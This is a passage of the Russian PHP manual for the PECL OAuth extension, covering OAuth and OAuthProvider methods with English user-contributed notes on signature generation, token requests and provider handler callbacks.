sun at drupal dot org 09-Aug-2011 06:40
Make sure that your $extra_parameters is an array.

If it's not, then OAuth will silently skip the malformed data type and produce a signature base string that is invalid (doesn't contain POST parameters, as defined in the RFC).

You should file a critical bug report against any REST API you find in the wild that accepts such a bogus signature to pass authentication.
contact info at mech dot cx 23-Mar-2011 04:00
I was having troubles getting fetch() to post, the remote server (Twitter, in this case) complained at me that their "resource only supports POST". Turned out to be a known bug in OAuth 1.1, downgrading to 1.0 fixed it.

Don't lose as much time over this as I did :-)
Lyuben Penkovski (l_penkovski at yahoo dot com) 26-Aug-2010 11:51
If the provider's web server is configured to use Keep-Alive extension to HTTP protocol (HTTP 1.1), there can be a big delay in the response time from the provider. By default Apache is configured to use Keep-Alive for 5 seconds. This is the delay after which the response will come back to the consumer. If you have this issue of delayed result, you can pass in HTTP headers when calling $consumer->fetch():

<?php
$consumer = new OAuth("consumer_key", "consumer_secret", OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_FORM);
$consumer->fetch('http://example.com/api/', null, OAUTH_HTTP_METHOD_POST, array('Connection'=>'close'));
?>

Then the provider will send the result immediately after it's ready with the processing and the connection will be closed. Unfortunately, when calling $consumer->getRequestToken() and $consumer->getAccessToken() there's no way provided to pass in HTTP headers and this delay (if present) cannot be avoided, or at least we could not find a way to avoid it.

The solution that worked for us is to send this header from the provider when returning result to the consumer:

<?php
$result = 'oauth_callback_accepted=true&oauth_token=' . $this->urlencode($token->oauth_token) .
          '&oauth_token_secret='.$this->urlencode($token->oauth_token_secret);

header('HTTP/1.1 200 OK');
header('Content-Length: '.strlen($result));
header('Content-Type: application/x-www-form-urlencoded');
header('Connection:close');
echo $result;
?>

This can work if you have the possibility to modify the code of the provider, e.g. if you are the provider yourself or if you can talk with the people that develop it and ask them to send this header for your request.


Сгенерировать подпись

  • « OAuth::fetch
  • OAuth::getAccessToken »
  • PHP Manual
  • OAuth
  • Сгенерировать подпись

OAuth::generateSignature

(Информация о версии неизвестна, возможно, только в Git)

OAuth::generateSignature — Сгенерировать подпись

Описание

public OAuth::generateSignature(string $http_method, string $url, mixed $extra_parameters = ?): string|false

Генерирует подпись на основе метода HTTP, URL и дополнительных параметров.

Список параметров

http_method

HTTP-метод для запроса

url

URL запроса

extra_parameters

Строка или массив дополнительных параметров.

Возвращаемые значения

Строка с подписью или false, если возникла ошибка

User Contributed Notes

vk221000 at gmail dot com 03-Jan-2022 11:46
<?php
/**
     * Get signature for the request Oauth 1.0
     *
     * @param string      $url url to send request to.
     * @param string      $consumer_key consumer key for the request credential.
     * @param string      $consumer_secret consumer secret for the request credential.
     * @param string      $method GET, POST etc methods.
     * @param array|false $params parameters to send during the request.
     * @since 1.0.0
     * @return string
     */
    public function get_signature( $url, $consumer_key, $consumer_secret, $method = 'GET', $params = false ) {
            $nonce     = mt_rand();
            $timestamp = time();
            $oauth     = new \OAuth( $consumer_key, $consumer_secret );
            $oauth->setTimestamp( $timestamp );
            $oauth->setNonce( $nonce );
            $sig = $oauth->generateSignature( $method, $url, $params );

            $header = 'OAuth ' .
                'oauth_consumer_key=' . $consumer_key .
                ',oauth_signature_method="HMAC-SHA1"' .
                ',oauth_nonce="'. $nonce . '"' .
                ',oauth_timestamp="' . $timestamp . '"'.
                ',oauth_version="1.0"'.
                ',oauth_signature="' . urlencode( $sig ) . '"'
                ;
            return $header;
    }
?>


Получить токен доступа

  • « OAuth::generateSignature
  • OAuth::getCAPath »
  • PHP Manual
  • OAuth
  • Получить токен доступа

OAuth::getAccessToken

(PECL OAuth >= 0.99.1)

OAuth::getAccessToken — Получить токен доступа

Описание

public OAuth::getAccessToken(
string $access_token_url,
string $auth_session_handle = ?,
string $verifier_token = ?,
string $http_method = ?
): array

Получает токен доступа, его пароль и все дополнительные параметры ответа от провайдера сервиса.

Список параметров

access_token_url

URL до API выдачи токена доступа.

auth_session_handle

Обработчик сессии авторизации. Этот параметр никак не описывается в спецификации OAuth 1.0, но множеством провайдеров реализуется. Более подробно читайте по ссылке » ScalableOAuth.

verifier_token

Для провайдеров с поддержкой 1.0a, параметр verifier_token должен быть задан при обмене токена запроса на токен доступа. Если verifier_token присутствует в $_GET или $_POST, то он будет задан автоматически и вызывающей стороне не нужно явно его задавать в параметре verifier_token (обычно если токен доступа обменивается с помощью oauth_callback URL). Более подробно читайте по ссылке » ScalableOAuth.

http_method

Метод HTTP. Например GET или POST.

Возвращаемые значения

Возвращает массив с разобранным ответом OAuth, либо false.

Список изменений

Версия | Описание
PECL oauth 1.0.0 | Раньше, если возникала ошибка, метод возвращал null, а не false.
PECL oauth 0.99.9 | Добавлен параметр verifier_token

Примеры

Пример #1 Пример использования OAuth::getAccessToken()

<?php
try {
$oauth = new OAuth(OAUTH_CONSUMER_KEY,OAUTH_CONSUMER_SECRET);
$oauth->setToken($request_token,$request_token_secret);
$access_token_info = $oauth->getAccessToken("https://example.com/oauth/access_token");
if(!empty($access_token_info)) {
print_r($access_token_info);
} else {
print "Не удалось получить токен доступа, ответ был: " . $oauth->getLastResponse();
}
} catch(OAuthException $E) {
echo "Ответ: ". $E->lastResponse . "\n";
}
?>

Вывод приведённого примера будет похож на:

Array
(
    [oauth_token] => some_token
    [oauth_token_secret] => some_token_secret
)

Смотрите также

  • OAuth::getLastResponse() - Получить последний ответ
  • OAuth::getLastResponseInfo() - Получить HTTP-информацию о последнем ответе
  • OAuth::setToken() - Задать токен и его пароль

User Contributed Notes

There are no user contributed notes for this page.


Получить информацию CA

  • « OAuth::getAccessToken
  • OAuth::getLastResponse »
  • PHP Manual
  • OAuth
  • Получить информацию CA

OAuth::getCAPath

(PECL OAuth >= 0.99.8)

OAuth::getCAPath — Получить информацию CA

Описание

public OAuth::getCAPath(): array

Возвращает информацию о центре сертификации, включающую ca_path и ca_info, установленные OAuth::setCaPath().

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ассоциативный массив с информацией о центре сертификации с ключами ca_path и ca_info.

Смотрите также

  • OAuth::setCAPath() - Установить CA для пути и информации
  • OAuth::getLastResponseInfo() - Получить HTTP-информацию о последнем ответе

User Contributed Notes

There are no user contributed notes for this page.


Получить последний ответ

  • « OAuth::getCAPath
  • OAuth::getLastResponseHeaders »
  • PHP Manual
  • OAuth
  • Получить последний ответ

OAuth::getLastResponse

(PECL OAuth >= 0.99.1)

OAuth::getLastResponse — Получить последний ответ

Описание

public OAuth::getLastResponse(): string

Возвращает сырое представление последнего полученного ответа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку с последним ответом.

Смотрите также

  • OAuth::getLastResponseInfo() - Получить HTTP-информацию о последнем ответе
  • OAuth::fetch() - Извлечь защищённый ресурс OAuth

User Contributed Notes

There are no user contributed notes for this page.


Получить заголовки последнего ответа

  • « OAuth::getLastResponse
  • OAuth::getLastResponseInfo »
  • PHP Manual
  • OAuth
  • Получить заголовки последнего ответа

OAuth::getLastResponseHeaders

(Информация о версии неизвестна, возможно, только в Git)

OAuth::getLastResponseHeaders — Получить заголовки последнего ответа

Описание

public OAuth::getLastResponseHeaders(): string|false

Возвращает заголовки последнего ответа.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка с заголовками последнего ответа или false, если возникла ошибка

User Contributed Notes

There are no user contributed notes for this page.


Получить HTTP-информацию о последнем ответе

  • « OAuth::getLastResponseHeaders
  • OAuth::getRequestHeader »
  • PHP Manual
  • OAuth
  • Получить HTTP-информацию о последнем ответе

OAuth::getLastResponseInfo

(PECL OAuth >= 0.99.1)

OAuth::getLastResponseInfo — Получить HTTP-информацию о последнем ответе

Описание

public OAuth::getLastResponseInfo(): array

Возвращает HTTP-информацию о последнем ответе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с информацией по последнему запросу. Можно использовать константы curl_getinfo().

Смотрите также

  • OAuth::fetch() - Извлечь защищённый ресурс OAuth
  • OAuth::getLastResponse() - Получить последний ответ

User Contributed Notes

There are no user contributed notes for this page.


Сгенерировать подпись заголовка OAuth

  • « OAuth::getLastResponseInfo
  • OAuth::getRequestToken »
  • PHP Manual
  • OAuth
  • Сгенерировать подпись заголовка OAuth

OAuth::getRequestHeader

(Информация о версии неизвестна, возможно, только в Git)

OAuth::getRequestHeader — Сгенерировать подпись заголовка OAuth

Описание

public OAuth::getRequestHeader(string $http_method, string $url, mixed $extra_parameters = ?): string|false

Генерирует подпись заголовка OAuth на основе финального метода HTTP, URL и дополнительных параметров.

Список параметров

http_method

HTTP-метод.

url

URL запроса.

extra_parameters

Строка или массив с дополнительными параметрами.

Возвращаемые значения

Строка с заголовком запроса или false, если возникла ошибка

User Contributed Notes

me at chrishowie dot com 12-Dec-2016 10:03
The documentation does not specify the difference between passing a string and passing an array for the third parameter.  We spent two days debugging before reading the C source code to figure out that there is a significant and undocumented difference between the two.

"a=1" and array("a" => 1) are handled very differently!

If you are making a POST/PUT request (or anything with an entity body) then you should pass that as a string.

If you are making a request with a query string, you should pass that as an associative array.

If you pass "a=1" intending that to specify the query string, the generated signature will be invalid -- it will process this as if you were POSTing the content "a=1" instead.


Извлечь токен запроса

  • « OAuth::getRequestHeader
  • OAuth::setAuthType »
  • PHP Manual
  • OAuth
  • Извлечь токен запроса

OAuth::getRequestToken

(PECL OAuth >= 0.99.1)

OAuth::getRequestToken — Извлечь токен запроса

Описание

public OAuth::getRequestToken(string $request_token_url, string $callback_url = ?, string $http_method = ?): array

Получить токен запроса, его пароль и дополнительные параметры ответа от провайдера сервиса.

Список параметров

request_token_url

URL к API токена запроса.

callback_url

URL callback-функции OAuth. Если callback_url задан пустым значением, то он установится как "oob" решения OAuth 2009.1.

http_method

HTTP-метод, например GET или POST.

Возвращаемые значения

Возвращает массив обработанного запроса OAuth или false.

Список изменений

Версия | Описание
PECL oauth 1.0.0 | Раньше, если возникала ошибка, метод возвращал null, а не false.
PECL oauth 0.99.9 | Добавлен параметр callback_url

Примеры

Пример #1 Пример использования OAuth::getRequestToken()

<?php
try {
$oauth = new OAuth(OAUTH_CONSUMER_KEY,OAUTH_CONSUMER_SECRET);
$request_token_info = $oauth->getRequestToken("https://example.com/oauth/request_token");
if(!empty($request_token_info)) {
print_r($request_token_info);
} else {
print "Не удалось получить токен доступа, ответ был: " . $oauth->getLastResponse();
}
} catch(OAuthException $E) {
echo "Ответ: ". $E->lastResponse . "\n";
}
?>

Вывод приведённого примера будет похож на:

Array
(
    [oauth_token] => some_token
    [oauth_token_secret] => some_token_secret
)

Смотрите также

  • OAuth::getLastResponse() - Получить последний ответ
  • OAuth::getLastResponseInfo() - Получить HTTP-информацию о последнем ответе

User Contributed Notes

bohwaz 29-Mar-2010 07:29
Please note that if you don't supply callback_url, the oauth parameter oauth_callback will not be sent to the server and will result in an error from the server, as this parameter is REQUIRED in the OAuth spec.


Установить тип авторизации

  • « OAuth::getRequestToken
  • OAuth::setCAPath »
  • PHP Manual
  • OAuth
  • Установить тип авторизации

OAuth::setAuthType

(PECL OAuth >= 0.99.1)

OAuth::setAuthType — Установить тип авторизации

Описание

public OAuth::setAuthType(int $auth_type): bool

Устанавливает, каким образом должны передаваться параметры OAuth.

Список параметров

auth_type

auth_type может быть задан одним из следующих флагов (в порядке убывания предпочтения согласно разделу 5.2 OAuth 1.0):

OAUTH_AUTH_TYPE_AUTHORIZATION
Передавать параметры OAuth HTTP-заголовке Authorization.
OAUTH_AUTH_TYPE_FORM
Добавить параметры OAuth в тело запроса HTTP POST.
OAUTH_AUTH_TYPE_URI
Добавить параметры OAuth в URI запроса.
OAUTH_AUTH_TYPE_NONE
Не передавать.

Возвращаемые значения

Возвращает true или false (например, если параметр auth_type задан некорректно.)

Список изменений

Версия | Описание
PECL oauth 1.0.0 | Раньше, если возникала ошибка, метод возвращал null, а не false.

User Contributed Notes

There are no user contributed notes for this page.


Установить CA для пути и информации

  • « OAuth::setAuthType
  • OAuth::setNonce »
  • PHP Manual
  • OAuth
  • Установить CA для пути и информации

OAuth::setCAPath

(PECL OAuth >= 0.99.8)

OAuth::setCAPath — Установить CA для пути и информации

Описание

public OAuth::setCAPath(string $ca_path = ?, string $ca_info = ?): mixed

Установить центр сертификации (CA) для пути и информации.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

ca_path

CA пути.

ca_info

CA информации.

Возвращаемые значения

Возвращает true или false, если любой из параметров ca_path или ca_info задан некорректно.

Список изменений

Версия | Описание
PECL oauth 1.0.0 | Раньше, если возникала ошибка, метод возвращал null, а не false.

Смотрите также

  • OAuth::getCaPath() - Получить информацию CA

User Contributed Notes

There are no user contributed notes for this page.


Установить nonce для последующих запросов

  • « OAuth::setCAPath
  • OAuth::setRequestEngine »
  • PHP Manual
  • OAuth
  • Установить nonce для последующих запросов

OAuth::setNonce

(PECL OAuth >= 0.99.1)

OAuth::setNonce — Установить nonce для последующих запросов

Описание

public OAuth::setNonce(string $nonce): mixed

Устанавливает nonce для последующих запросов.

Список параметров

nonce

Значение oauth_nonce.

Возвращаемые значения

Возвращает true в случае успешного выполнения, или false, если параметр nonce задан некорректно.

Список изменений

Версия | Описание
PECL oauth 1.0.0 | Раньше, если возникала ошибка, метод возвращал null, а не false.

Смотрите также

  • OAuth::setToken() - Задать токен и его пароль
  • OAuth::setAuthType() - Установить тип авторизации
  • OAuth::setVersion() - Установить версию OAuth

User Contributed Notes

There are no user contributed notes for this page.


Используется для setRequestEngine

  • « OAuth::setNonce
  • OAuth::setRSACertificate »
  • PHP Manual
  • OAuth
  • Используется для setRequestEngine

OAuth::setRequestEngine

(PECL OAuth >= 1.0.0)

OAuth::setRequestEngine — Используется для setRequestEngine

Описание

public OAuth::setRequestEngine(int $reqengine): void

Устанавливает Request Engine (механизм запросов), который будет отсылать HTTP-запросы.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

reqengine

Выбранный механизм запросов. Задайте OAUTH_REQENGINE_STREAMS, если хотите использовать потоки PHP, или OAUTH_REQENGINE_CURL для использования Curl.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение OAuthException при выборе некорректного механизма запросов.

Примеры

Пример #1 Пример использования OAuth::setRequestEngine()

<?php
$consumer = new OAuth();

$consumer->setRequestEngine(OAUTH_REQENGINE_STREAMS);
?>

Смотрите также

  • Curl
  • потоки PHP
  • OAuthException

User Contributed Notes

There are no user contributed notes for this page.


Установить сертификат RSA

  • « OAuth::setRequestEngine
  • OAuth::setSSLChecks »
  • PHP Manual
  • OAuth
  • Установить сертификат RSA

OAuth::setRSACertificate

(PECL OAuth >= 1.0.0)

OAuth::setRSACertificate — Установить сертификат RSA

Описание

public OAuth::setRSACertificate(string $cert): mixed

Устанавливает сертификат RSA.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

cert

Сертификат RSA.

Возвращаемые значения

Возвращает true или false (например, если задан некорректный сертификат RSA)

Список изменений

Версия | Описание
PECL oauth 1.0.0 | Раньше, если возникала ошибка, метод возвращал null, а не false.

Примеры

Пример #1 Пример использования OAuth::setRsaCertificate()

<?php
$consume = new OAuth('1234', '', OAUTH_SIG_METHOD_RSASHA1);

$consume->setRSACertificate(file_get_contents('test.pem'));
?>

Смотрите также

  • OAuth::setCaPath() - Установить CA для пути и информации

User Contributed Notes

There are no user contributed notes for this page.


Производить определённые проверки SSL для запроса

  • « OAuth::setRSACertificate
  • OAuth::setTimestamp »
  • PHP Manual
  • OAuth
  • Производить определённые проверки SSL для запроса

OAuth::setSSLChecks

(Информация о версии неизвестна, возможно, только в Git)

OAuth::setSSLChecks — Производить определённые проверки SSL для запроса

Описание

public OAuth::setSSLChecks(int $sslcheck): bool

Производить определённые проверки SSL для запроса.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

sslcheck

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Установить метку времени

  • « OAuth::setSSLChecks
  • OAuth::setToken »
  • PHP Manual
  • OAuth
  • Установить метку времени

OAuth::setTimestamp

(PECL OAuth >= 1.0.0)

OAuth::setTimestamp — Установить метку времени

Описание

public OAuth::setTimestamp(string $timestamp): mixed

Установить метку времени OAuth для последующих запросов.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

timestamp

Метка времени.

Возвращаемые значения

Возвращает true или false, если параметр timestamp задан некорректно.

Список изменений

Версия | Описание
PECL oauth 1.0.0 | Раньше, если возникала ошибка, метод возвращал null, а не false.

Смотрите также

  • OAuth::setNonce() - Установить nonce для последующих запросов

User Contributed Notes

There are no user contributed notes for this page.


Задать токен и его пароль

  • « OAuth::setTimestamp
  • OAuth::setVersion »
  • PHP Manual
  • OAuth
  • Задать токен и его пароль

OAuth::setToken

(PECL OAuth >= 0.99.1)

OAuth::setToken — Задать токен и его пароль

Описание

public OAuth::setToken(string $token, string $token_secret): bool

Устанавливает токен и его пароль для последующих запросов.

Список параметров

token

Токен OAuth.

token_secret

Пароль токена OAuth.

Возвращаемые значения

true

Примеры

Пример #1 Пример использования OAuth::setToken()

<?php
$oauth = new OAuth(OAUTH_CONSUMER_KEY,OAUTH_CONSUMER_SECRET);
$oauth->setToken("token","token-secret");
?>

User Contributed Notes

There are no user contributed notes for this page.


Установить версию OAuth

  • « OAuth::setToken
  • OAuthProvider »
  • PHP Manual
  • OAuth
  • Установить версию OAuth

OAuth::setVersion

(PECL OAuth >= 0.99.1)

OAuth::setVersion — Установить версию OAuth

Описание

public OAuth::setVersion(string $version): bool

Установить версию OAuth для последующих запросов

Список параметров

version

Версия OAuth, по умолчанию "1.0"

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

There are no user contributed notes for this page.


Класс OAuthProvider

(PECL OAuth >= 1.0.0)

Введение

Класс управления провайдером OAuth.

Также смотрите подробное описание на внешнем ресурсе » Написание сервиса провайдера OAuth, в котором описывается практический подход предоставления такого сервиса. Также посмотрите » примеры провайдера OAuth в исходных кодах модуля OAuth.

Обзор классов

class OAuthProvider {
/* Методы */
final public addRequiredParameter(string $req_params): bool
public callconsumerHandler(): void
public callTimestampNonceHandler(): void
public calltokenHandler(): void
public checkOAuthRequest(string $uri = ?, string $method = ?): void
public __construct(array $params_array = ?)
public consumerHandler(callable $callback_function): void
final public static generateToken(int $size, bool $strong = false): string
public is2LeggedEndpoint(mixed $params_array): void
public isRequestTokenEndpoint(bool $will_issue_request_token): void
final public removeRequiredParameter(string $req_params): bool
final public static reportProblem(string $oauthexception, bool $send_headers = true): string
final public setParam(string $param_key, mixed $param_val = ?): bool
final public setRequestTokenPath(string $path): bool
public timestampNonceHandler(callable $callback_function): void
public tokenHandler(callable $callback_function): void
}

Содержание

  • OAuthProvider::addRequiredParameter — Добавить необходимые параметры
  • OAuthProvider::callconsumerHandler — Вызвать callback-функцию consumerNonceHandler
  • OAuthProvider::callTimestampNonceHandler — Вызвать callback-функцию timestampNonceHandler
  • OAuthProvider::calltokenHandler — Вызвать callback-функцию tokenNonceHandler
  • OAuthProvider::checkOAuthRequest — Проверка запроса oauth
  • OAuthProvider::__construct — Конструктор класса OAuthProvider
  • OAuthProvider::consumerHandler — Установить обработчик consumerHandler
  • OAuthProvider::generateToken — Генерация случайного токена
  • OAuthProvider::is2LeggedEndpoint — is2LeggedEndpoint
  • OAuthProvider::isRequestTokenEndpoint — Установка isRequestTokenEndpoint
  • OAuthProvider::removeRequiredParameter — Удалить требуемый параметр
  • OAuthProvider::reportProblem — Сообщить о проблеме
  • OAuthProvider::setParam — Установить параметр
  • OAuthProvider::setRequestTokenPath — Установить путь запроса токена
  • OAuthProvider::timestampNonceHandler — Установить обработчик timestampNonceHandler
  • OAuthProvider::tokenHandler — Установить обработчик tokenHandler

User Contributed Notes

There are no user contributed notes for this page.


Добавить необходимые параметры

  • « OAuthProvider
  • OAuthProvider::callconsumerHandler »
  • PHP Manual
  • OAuthProvider
  • Добавить необходимые параметры

OAuthProvider::addRequiredParameter

(PECL OAuth >= 1.0.0)

OAuthProvider::addRequiredParameter — Добавить необходимые параметры

Описание

final public OAuthProvider::addRequiredParameter(string $req_params): bool

Добавляет необходимые параметры провайдера oauth.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

req_params

Параметры.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • OAuthProvider::removeRequiredParameter() - Удалить требуемый параметр

User Contributed Notes

me at thomashunter dot name 06-Jun-2013 03:03
This method can be used for adding non-standard parameters required by your application, as well as parameters within the spec.

<?php
$Provider->addRequiredParameter("permissions");
$Provider->addRequiredParameter("oauth_callback");


Вызвать callback-функцию consumerNonceHandler

  • « OAuthProvider::addRequiredParameter
  • OAuthProvider::callTimestampNonceHandler »
  • PHP Manual
  • OAuthProvider
  • Вызвать callback-функцию consumerNonceHandler

OAuthProvider::callconsumerHandler

(Информация о версии неизвестна, возможно, только в Git)

OAuthProvider::callconsumerHandler — Вызвать callback-функцию consumerNonceHandler

Описание

public OAuthProvider::callconsumerHandler(): void

Вызвать зарегистрированную callback-функцию, которая была задана с помощью OAuthProvider::consumerHandler().

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Если callback-функция не может быть вызвана или отсутствует, то генерируется ошибка уровня E_ERROR.

Смотрите также

  • OAuthProvider::consumerHandler() - Установить обработчик consumerHandler

User Contributed Notes

There are no user contributed notes for this page.


Вызвать callback-функцию timestampNonceHandler

  • « OAuthProvider::callconsumerHandler
  • OAuthProvider::calltokenHandler »
  • PHP Manual
  • OAuthProvider
  • Вызвать callback-функцию timestampNonceHandler

OAuthProvider::callTimestampNonceHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::callTimestampNonceHandler — Вызвать callback-функцию timestampNonceHandler

Описание

public OAuthProvider::callTimestampNonceHandler(): void

Вызвать зарегистрированную callback-функцию обработчика метки времени, которая была задана с помощью OAuthProvider::timestampNonceHandler().

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Если callback-функция не может быть вызвана или отсутствует, то генерируется ошибка уровня E_ERROR.

Смотрите также

  • OAuthProvider::timestampNonceHandler() - Установить обработчик timestampNonceHandler

User Contributed Notes

There are no user contributed notes for this page.


Вызвать callback-функцию tokenNonceHandler

  • « OAuthProvider::callTimestampNonceHandler
  • OAuthProvider::checkOAuthRequest »
  • PHP Manual
  • OAuthProvider
  • Вызвать callback-функцию tokenNonceHandler

OAuthProvider::calltokenHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::calltokenHandler — Вызвать callback-функцию tokenNonceHandler

Описание

public OAuthProvider::calltokenHandler(): void

Вызвать зарегистрированную callback-функцию обработчика токена, которая была задана с помощью OAuthProvider::tokenHandler().

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Если callback-функция не может быть вызвана или отсутствует, то генерируется ошибка уровня E_ERROR.

Смотрите также

  • OAuthProvider::tokenHandler() - Установить обработчик tokenHandler

User Contributed Notes

There are no user contributed notes for this page.


Проверка запроса oauth

  • « OAuthProvider::calltokenHandler
  • OAuthProvider::__construct »
  • PHP Manual
  • OAuthProvider
  • Проверка запроса oauth

OAuthProvider::checkOAuthRequest

(PECL OAuth >= 1.0.0)

OAuthProvider::checkOAuthRequest — Проверка запроса oauth

Описание

public OAuthProvider::checkOAuthRequest(string $uri = ?, string $method = ?): void

Проверяет запрос OAuth.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

uri

Необязательный URI, или конечная точка.

method

Необязательный параметр, определяющий метод HTTP. Одна из OAUTH_HTTP_METHOD_* констант OAuth.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Вызывает ошибку уровня E_ERROR если HTTP-метод задан некорректно.

Смотрите также

  • OAuthProvider::reportProblem() - Сообщить о проблеме

User Contributed Notes

tim at timlytle dot net 17-Oct-2013 01:30
Seems this method can only be called once per instance (or gives the same result as the first call on repeat calls).

My use case is API endpoints that can be accessed by a user or with 2 legged auth. If normal oAuth failed, I was calling is2LeggedEndpoint(true) and running again.

For that to work the OAuth Provider needs to be created again, simply changing one of the flags seems to have no effect on the next call.
Lyuben Penkovski (l_penkovski at yahoo dot com) 23-Aug-2010 03:59
This function checks if OAuth request is valid and signed correctly.

$provider->checkOAuthRequest();

It does this by first calling timestampNonceHandler and expects result OAUHT_OK from it. If the result is different, an exception is thrown. It's up to you to write the code that checks timestamp/nonce combinations.

Secondly, it calls consumerHandler and expects your code in the consumerHandler function to set $provider->consumer_secret to the correct value (you should take it from your consumer storage location where it's saved with consumer key). If $provider->consumer_secret is not set, or is not set with the proper value an exception is thrown. Proper value means that it should be the same consumer key that was used to sign the request by the consumer before sending it to here (the provider). Again expected result from this function is OAUTH_OK or some OAUTH error code if you want to throw exception.

Third, it calls tokenHandler, but only WHEN you are requesting ACCESS token or requesting protected data with authorized ACCESS TOKEN. In order for the provider to call tokenHandler, before a call to the checkOAuthRequest function is made, the provider should call the method that says that this is not a request token endpoint (this is access token endpoint):

$provider->isRequestTokenEndpoint (false);
$provider->checkOAuthRequest();

Again here OAuthProvider is expecting your code in the tokenHandler to set $provider->token_secret to the correct value (you should take it from your token storage place) because during the signing process it uses CONSUMER SECRET (for request token) and CONSUMER SECRET AND TOKEN SECRET (for access token and fetch of protected data) to sign the request.

After these 3 handler functions are called and return good results (OAUTH_OK) and set the values of the required fields $provider->consumer_secret and $provider->token_secret, then the checkOAuthRequest function signs the request. If something goes wrong, it throws exception, otherwise there comes the place for your code to proceed and handle the request:

- you can create request token (if it's a first request for request token)
- you can create access token (if it's a request for access token)
- you can return protected data to the consumer (if it's a request to fetch protected data)

This is how the functions in my code look like, however please have in mind that I've just implemented it and it's possible that I have something missed or forgotten, but generally I think the idea should be clear:

$this->dbModel is the object for working with database and save/retrieve token and consumer data

<?php

public function timestampNonceHandler ( $provider )
{
    return $this->dbModel->checkTimestampNonce ( $provider->consumer_key,
                                                 $provider->token,
                                                 $provider->timestamp,
                                                 $provider->nonce );
}

public function consumerHandler ( $provider )
{
    $consumer = $this->dbModel->getConsumerSecrets ($provider->consumer_key);

    if($consumer['consumer_key'] != $provider->consumer_key)
    {
        return OAUTH_CONSUMER_KEY_UNKNOWN;
    }

    if( (int)$consumer['disabled'] != 0 )
    {
        return OAUTH_CONSUMER_KEY_REFUSED;
    }

    $provider->consumer_id = $consumer['consumer_id']; # this is not required by OAuthProvider but I use it later in tokenHandler
    $provider->consumer_secret = $consumer['consumer_secret']; # this is REQUIRED

    return OAUTH_OK;
}

public function tokenHandler ( $provider )
{
    $token = $this->dbModel->getToken( $provider->token );

    if( time() > $token['expire'] )
    {
        return OAUTH_TOKEN_EXPIRED;
    }

    if($token['consumer_id'] != $provider->consumer_id)
    {
        return OAUTH_TOKEN_REJECTED;
    }

    if( (int)$token['authorized'] == 0 )
    {
        return OAUTH_TOKEN_REJECTED;
    }

    if($token['token_type'] != 'access')
    {
        if($token['verifier'] != $provider->verifier)
            return OAUTH_VERIFIER_INVALID;
    }

    $provider->token_id = $token['token_id']; # not required to be set by OAuthProvider
    $provider->token_secret = $token['token_secret']; # this is REQUIRED

    return OAUTH_OK;
}

?>


Конструктор класса OAuthProvider

  • « OAuthProvider::checkOAuthRequest
  • OAuthProvider::consumerHandler »
  • PHP Manual
  • OAuthProvider
  • Конструктор класса OAuthProvider

OAuthProvider::__construct

(PECL OAuth >= 1.0.0)

OAuthProvider::__construct — Конструктор класса OAuthProvider

Описание

public OAuthProvider::__construct(array $params_array = ?)

Создаёт объект класса OAuthProvider.

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

params_array

Установка этих необязательных параметров ограничена CLI SAPI.

Возвращаемые значения

Объект класса OAuthProvider.

Примеры

Пример #1 Пример использования OAuthProvider::__construct()

<?php
try {

$op = new OAuthProvider();

// Используем пользовательские callback-функции
$op->consumerHandler(array($this, 'lookupConsumer'));
$op->timestampNonceHandler(array($this, 'timestampNonceChecker'));
$op->tokenHandler(array($this, 'myTokenHandler'));

// Игнорируем параметр foo_uri
$op->setParam('foo_uri', NULL);

// Для данной конечной точки токен не нужен
$op->setRequestTokenPath('/v1/oauth/request_token');

$op->checkOAuthRequest();

} catch (OAuthException $e) {

echo OAuthProvider::reportProblem($e);
}
?>

Смотрите также

  • OAuthProvider::setParam() - Установить параметр

User Contributed Notes

There are no user contributed notes for this page.


Установить обработчик consumerHandler

  • « OAuthProvider::__construct
  • OAuthProvider::generateToken »
  • PHP Manual
  • OAuthProvider
  • Установить обработчик consumerHandler

OAuthProvider::consumerHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::consumerHandler — Установить обработчик consumerHandler

Описание

public OAuthProvider::consumerHandler(callable $callback_function): void

Задаёт callback-функцию обработчика, которая в дальнейшем будет вызываться OAuthProvider::callConsumerHandler().

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

callback_function

Функция типа callable.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования OAuthProvider::consumerHandler()

<?php
function lookupConsumer($provider) {

if ($provider->consumer_key === 'unknown') {
return OAUTH_CONSUMER_KEY_UNKNOWN;
} else if($provider->consumer_key == 'blacklisted' || $provider->consumer_key === 'throttled') {
return OAUTH_CONSUMER_KEY_REFUSED;
}

